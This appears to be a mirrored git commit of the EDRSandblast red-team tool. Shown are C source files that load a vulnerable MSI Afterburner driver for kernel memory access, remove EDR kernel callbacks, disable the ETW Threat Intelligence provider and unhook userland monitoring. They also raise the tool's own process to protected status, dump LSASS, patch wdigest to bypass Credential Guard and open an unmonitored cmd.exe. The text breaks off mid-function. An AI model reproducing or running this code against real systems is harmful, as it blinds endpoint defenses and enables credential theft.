mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-13 18:53:34 +00:00
Initial commit for public version
Co-authored-by: Thomas Diot <thomas.diot@wavestone.com>
This commit is contained in:
@@ -0,0 +1,84 @@
|
||||
/*
|
||||
|
||||
--- ETW Threat Intelligence operations.
|
||||
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
|
||||
|
||||
*/
|
||||
|
||||
#include "ETWThreatIntel.h"
|
||||
|
||||
DWORD64 GetEtwThreatIntProvRegHandleAddress() {
|
||||
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0) {
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
|
||||
return Ntoskrnlbaseaddress + ntoskrnlOffsets.st.etwThreatIntProvRegHandle;
|
||||
}
|
||||
|
||||
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
|
||||
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
|
||||
_tprintf(TEXT("[!] ETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel.\n"));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
HANDLE Device = GetDriverHandle();
|
||||
DWORD64 etwThreatIntProvRegHandleAddress = GetEtwThreatIntProvRegHandleAddress();
|
||||
|
||||
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatIntProvRegHandleAddress);
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[+] Found ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
|
||||
}
|
||||
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatInt_ETW_REG_ENTRYAddress + ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return etwThreatInt_ETW_GUID_ENTRYAddress + ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
|
||||
}
|
||||
|
||||
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
|
||||
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||
return;
|
||||
}
|
||||
|
||||
_tprintf(TEXT("[*] Attempting to %s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
|
||||
enable ? TEXT("(re)enable") : TEXT("disable"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||
HANDLE Device = GetDriverHandle();
|
||||
WriteMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||
|
||||
BOOL finalState = isETWThreatIntelProviderEnabled(verbose);
|
||||
if (finalState == enable) {
|
||||
_tprintf(TEXT("[+] The ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Failed to %s the ETW Threat Intel provider!\n"), enable ? TEXT("enable") : TEXT("disable"));
|
||||
}
|
||||
|
||||
CloseHandle(Device);
|
||||
}
|
||||
|
||||
|
||||
void DisableETWThreatIntelProvider(BOOL verbose) {
|
||||
EnableDisableETWThreatIntelProvider(verbose, FALSE);
|
||||
}
|
||||
|
||||
|
||||
void EnableETWThreatIntelProvider(BOOL verbose) {
|
||||
EnableDisableETWThreatIntelProvider(verbose, TRUE);
|
||||
}
|
||||
|
||||
|
||||
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
|
||||
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||
|
||||
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HANDLE Device = GetDriverHandle();
|
||||
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress);
|
||||
CloseHandle(Device);
|
||||
|
||||
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,34 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <aclapi.h>
|
||||
#include <stdio.h>
|
||||
#include <Dbghelp.h>
|
||||
#include <stdlib.h>
|
||||
#include <Psapi.h>
|
||||
#include <Tchar.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <malloc.h>
|
||||
#include <assert.h>
|
||||
|
||||
#include "CredGuard.h"
|
||||
#include "DriverOps.h"
|
||||
#include "ETWThreatIntel.h"
|
||||
#include "FileVersion.h"
|
||||
#include "KernelCallbacks.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "KernelPatternSearch.h"
|
||||
#include "LSASSDump.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "RunAsPPL.h"
|
||||
#include "WdigestOffsets.h"
|
||||
#include "UserlandHooks.h"
|
||||
|
||||
#define SERVICE_NAME_LENGTH 8
|
||||
|
||||
typedef enum _START_MODE {
|
||||
dump,
|
||||
cmd,
|
||||
credguard,
|
||||
audit
|
||||
} START_MODE;
|
||||
@@ -0,0 +1,515 @@
|
||||
#include "EDRSandBlast.h"
|
||||
|
||||
/*
|
||||
|
||||
--- Execution entry point.
|
||||
|
||||
*/
|
||||
|
||||
static TCHAR* randString(TCHAR* str, size_t size)
|
||||
{
|
||||
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
|
||||
if (size) {
|
||||
--size;
|
||||
for (size_t n = 0; n < size; n++) {
|
||||
int key = rand() % (int)(sizeof charset - 1);
|
||||
str[n] = charset[key];
|
||||
}
|
||||
str[size] = '\0';
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
const TCHAR *gVulnDriverServiceName = TEXT("RTCore64");
|
||||
|
||||
// TCHAR* gVulnDriverServiceName;
|
||||
|
||||
int _tmain(int argc, TCHAR** argv) {
|
||||
// Parse command line arguments and initialize variables to default values if needed.
|
||||
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard> [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [-o | --dump-output <DUMP_FILE>]");
|
||||
const TCHAR extendedUsage[] = TEXT("\n\
|
||||
-h | --help Show this help message and exit.\n\
|
||||
-v | --verbose Enable a more verbose output.\n\
|
||||
\n\
|
||||
Actions mode:\n\
|
||||
\n\
|
||||
\taudit Display the user-land hooks and / or Kernel callbacks with out taking actions.\n\
|
||||
\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\
|
||||
\t specified file using -o | --output <DUMP_FILE>.\n\
|
||||
\tcmd Open a cmd.exe prompt.\n\
|
||||
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
|
||||
\t Credential Guard is enabled on the host. No kernel-lank actions required.\n\
|
||||
\n\
|
||||
--usermode Perform user-land operations (DLL unhooking).\n\
|
||||
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
|
||||
\n\
|
||||
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
|
||||
\n\
|
||||
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
|
||||
\t present userland hooks.\n\
|
||||
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
|
||||
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
|
||||
\t userland hooks.\n\
|
||||
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
|
||||
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
|
||||
\t hooks.\n\
|
||||
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
|
||||
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
|
||||
\t present userland hooks.\n\
|
||||
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
|
||||
\t and uses it to remove all detected hooks\n\
|
||||
\n\
|
||||
Other options:\n\
|
||||
\n\
|
||||
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\
|
||||
Default to automatically unsinstall the driver.\n\
|
||||
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
|
||||
Default to restore the callbacks.\n\
|
||||
\n\
|
||||
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
|
||||
Default to 'RTCore64.sys' in the current directory.\n\
|
||||
\n\
|
||||
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
|
||||
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
|
||||
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
|
||||
(only for the 'credguard' mode).\n\
|
||||
Default to 'WdigestOffsets.csv' in the current directory.\n\
|
||||
\n\
|
||||
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
|
||||
Default to 'lsass' in the current directory.\n");
|
||||
BOOL status;
|
||||
TCHAR currentFolderPath[MAX_PATH] = { 0 };
|
||||
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
|
||||
|
||||
if (argc < 2) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
START_MODE startMode;
|
||||
if (_tcsicmp(argv[1], TEXT("dump")) == 0) { startMode = dump; }
|
||||
else if (_tcsicmp(argv[1], TEXT("cmd")) == 0) { startMode = cmd; }
|
||||
else if (_tcsicmp(argv[1], TEXT("credguard")) == 0) { startMode = credguard; }
|
||||
else if (_tcsicmp(argv[1], TEXT("audit")) == 0) { startMode = audit; }
|
||||
else if (_tcsicmp(argv[1], TEXT("-h")) == 0 || _tcsicmp(argv[1], TEXT("--help")) == 0) {
|
||||
_tprintf(TEXT("%s\n"), usage);
|
||||
_tprintf(TEXT("%s\n"), extendedUsage);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
TCHAR driverPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
|
||||
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR outputPath[MAX_PATH * 2] = { 0 };
|
||||
BOOL verbose = FALSE;
|
||||
BOOL removeVulnDriver = TRUE;
|
||||
BOOL restoreCallbacks = TRUE;
|
||||
BOOL userMode = FALSE;
|
||||
enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
|
||||
BOOL kernelMode = FALSE;
|
||||
int lpExitCode = EXIT_SUCCESS;
|
||||
struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL;
|
||||
struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL;
|
||||
BOOL ETWTIState = FALSE;
|
||||
hook* hooks = NULL;
|
||||
|
||||
/*
|
||||
gVulnDriverServiceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR));
|
||||
randString(gVulnDriverServiceName, SERVICE_NAME_LENGTH);
|
||||
*/
|
||||
|
||||
for (int i = 2; i < argc; i++) {
|
||||
if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
|
||||
_tprintf(TEXT("%s\n"), usage);
|
||||
_tprintf(TEXT("%s\n"), extendedUsage);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
|
||||
verbose = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
|
||||
userMode = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
|
||||
kernelMode = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
|
||||
removeVulnDriver = FALSE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) {
|
||||
restoreCallbacks = FALSE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
unhook_method = _ttoi(argv[i]);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
// Command line option consistency checks
|
||||
if (startMode == cmd && !kernelMode) {
|
||||
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (!userMode && !kernelMode) {
|
||||
_tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
|
||||
userMode = TRUE;
|
||||
}
|
||||
if (startMode == credguard && !kernelMode) {
|
||||
_tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||
}
|
||||
if (startMode == dump && !kernelMode) {
|
||||
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||
}
|
||||
|
||||
BOOL isSafeToExecutePayload = TRUE;
|
||||
|
||||
if (kernelMode) {
|
||||
if (_tcslen(driverPath) == 0) {
|
||||
TCHAR separator[] = TEXT("\\");
|
||||
_tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
|
||||
_tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
|
||||
}
|
||||
DWORD driverAttrib = GetFileAttributes(driverPath);
|
||||
if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
|
||||
_tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
|
||||
TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv");
|
||||
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
|
||||
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
|
||||
_tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n"));
|
||||
ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath);
|
||||
if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) {
|
||||
_tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Install the vulnerable driver to have read / write in Kernel memory.
|
||||
_tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n"));
|
||||
status = InstallVulnerableDriver(driverPath);
|
||||
if (status != TRUE) {
|
||||
_tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n"));
|
||||
_tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n"));
|
||||
Sleep(2000);
|
||||
status = UninstallVulnerableDriver();
|
||||
Sleep(2000);
|
||||
status = status && InstallVulnerableDriver(driverPath);
|
||||
Sleep(2000);
|
||||
if (status != TRUE) {
|
||||
_tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
Sleep(5000);
|
||||
|
||||
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
|
||||
_tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
if (checkEDRDrivers->index) {
|
||||
isSafeToExecutePayload = FALSE;
|
||||
}
|
||||
|
||||
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
|
||||
_tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (ETWTIState) {
|
||||
isSafeToExecutePayload = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (userMode) {
|
||||
_tprintf(TEXT("Loaded DLLs in current process:\n"));
|
||||
hooks = searchHooks(NULL);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
}
|
||||
|
||||
if (startMode != audit) {
|
||||
if (userMode) {
|
||||
for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) {
|
||||
printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method);
|
||||
unhook(ptr, unhook_method);
|
||||
}
|
||||
}
|
||||
|
||||
if (isSafeToExecutePayload) {
|
||||
_tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n"));
|
||||
|
||||
// Do the operation the tool was started for.
|
||||
switch (startMode) {
|
||||
|
||||
// Start a process executing cmd.exe.
|
||||
case cmd:
|
||||
_tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
|
||||
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
|
||||
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n"));
|
||||
// Find cmd.exe path.
|
||||
TCHAR systemDirectory[MAX_PATH * 2] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
TCHAR cmdPath[MAX_PATH * 2] = { 0 };
|
||||
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
|
||||
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
|
||||
_tsystem(cmdPath);
|
||||
break;
|
||||
|
||||
// Dump the LSASS process in a new thread.
|
||||
case dump:
|
||||
if (kernelMode) {
|
||||
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n"));
|
||||
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
||||
SetCurrentProcessAsProtected(verbose);
|
||||
}
|
||||
}
|
||||
|
||||
if (_tcslen(outputPath) == 0) {
|
||||
TCHAR outputName[] = TEXT("\\lsass");
|
||||
_tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName));
|
||||
}
|
||||
|
||||
_tprintf(TEXT("[+] Attempting to dump LSASS\n"));
|
||||
HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL);
|
||||
if (hThread) {
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
|
||||
if (lpExitCode != 0) {
|
||||
_tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
break;
|
||||
|
||||
|
||||
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
|
||||
case credguard:
|
||||
if (kernelMode) {
|
||||
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n"));
|
||||
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
||||
SetCurrentProcessAsProtected(verbose);
|
||||
}
|
||||
}
|
||||
if (_tcslen(wdigestOffsetCSVPath) == 0) {
|
||||
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
|
||||
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
|
||||
wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath);
|
||||
if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
||||
_tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (disableCredGuardByPatchingLSASS()) {
|
||||
_tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and start another process...\n"));
|
||||
#ifdef _DEBUG
|
||||
assert(kernelMode);
|
||||
#endif
|
||||
/*
|
||||
* 1/3 : Removing kernel-based monitoring.
|
||||
*/
|
||||
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
|
||||
if (ETWTIState) {
|
||||
DisableETWThreatIntelProvider(verbose);
|
||||
}
|
||||
// If kernel callbacks are monitoring processes, we remove them and start a new process.
|
||||
if (checkEDRDrivers && checkEDRDrivers->index != 0) {
|
||||
_tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n"));
|
||||
// Removes EDR drivers callbacks for process / threads creation and image loading.
|
||||
removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!removedEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n"));
|
||||
RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n"));
|
||||
RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n"));
|
||||
RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
// Checks that EDR drivers were indeed removed and if so, go on with the payload.
|
||||
_tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n"));
|
||||
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!checkEDRDrivers) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
||||
free(removedEDRDrivers);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
if (checkEDRDrivers->index != 0) {
|
||||
_tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting..."));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(checkEDRDrivers);
|
||||
}
|
||||
|
||||
/*
|
||||
* 2/3 : Starting "resursively" our process.
|
||||
*/
|
||||
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
|
||||
_tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n"));
|
||||
_tprintf(TEXT("\n\n"));
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
memset(&si, 0, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
// Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process.
|
||||
TCHAR* currentCommandLine = GetCommandLine();
|
||||
TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver"));
|
||||
|
||||
//TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const".
|
||||
const SIZE_T commandLineMaxLen = 32768;
|
||||
TCHAR* commandLine = (TCHAR*)calloc(commandLineMaxLen, sizeof(TCHAR));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine));
|
||||
_tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag));
|
||||
|
||||
if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
|
||||
WaitForSingleObject(pi.hProcess, INFINITE);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] An error occured while trying to create a new process\n"));
|
||||
lpExitCode = EXIT_FAILURE;
|
||||
}
|
||||
free(commandLine);
|
||||
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
/*
|
||||
* 3/3 : Restoring state after execution.
|
||||
*/
|
||||
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
|
||||
if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) {
|
||||
// Restores the EDR drivers.
|
||||
_tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n"));
|
||||
RestoreEDRCallbacks(removedEDRDrivers);
|
||||
